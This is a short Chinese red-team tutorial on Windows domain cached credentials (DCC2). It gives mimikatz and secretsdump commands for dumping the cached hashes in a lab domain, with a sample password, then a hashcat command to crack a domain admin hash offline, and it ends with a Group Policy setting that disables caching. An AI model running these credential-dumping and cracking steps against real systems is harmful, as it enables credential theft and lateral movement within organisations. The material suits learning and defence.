MSCACHE的原理
Macash(又叫domain cached credentials、DCC、域缓存凭据)在PC连接域控失败的时候会自动使用缓存凭据来进行登录,这相当于是除了SAM、NDTS,以外的第三个数据库。
mscash hash 不是NTLM hash,无法用于PTH。
系统默认保存 10 个凭据(可以更改),当被保存的凭据已经超过 10 个的话,新的凭据会覆盖掉老的凭据;凭据被缓存在注册表里。
MSCASH的保存位置默认只有 SYSTEM 权限可读,位于HKEY_LOCAL_MACHINE\SECURITY\Cache(本地账户没有这个注册表项)
使用本地用户打开这个注册表项都为空
1.利用mimikatz获取cache值
token::elevate #假冒令牌提升至system权限
lsadump::cache
下图是在一台域机器上用本地管理员用户进行登录,抓取到了域内administrator和marry的cache
而不在域内机器是不能进行读取的
2.通过secretsdump获取
域用户加入到本地管理组也可以实现
python3 secretsdump.py redteam.lab/administrator:Qq123456..@win-10.redteam.lab
破解
以administrator为例:
使用hashcat来进行离线破解,真正密码为Qq123456..
‘$DCC2$10240#administrator#b25ba143ea4a2b1617f1d1db7a41f589’
hashcat -m2100 '$DCC2$10240#administrator#b25ba143ea4a2b1617f1d1db7a41f589' top10000.txt --force --potfile-disable
破解了域管administrator的明文密码,所以如果在横向没有头绪的时候,不要忘记了这个方法,可能会有意想不到的收获。
禁用凭证缓存
在组策略中设置禁用缓存
计算机配置—windows设置—安全设置—本地策略—安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0
History
- Created 2022-10-22 11:51
- Published 2021-09-18 11:51
- Updated 2024-10-20 23:48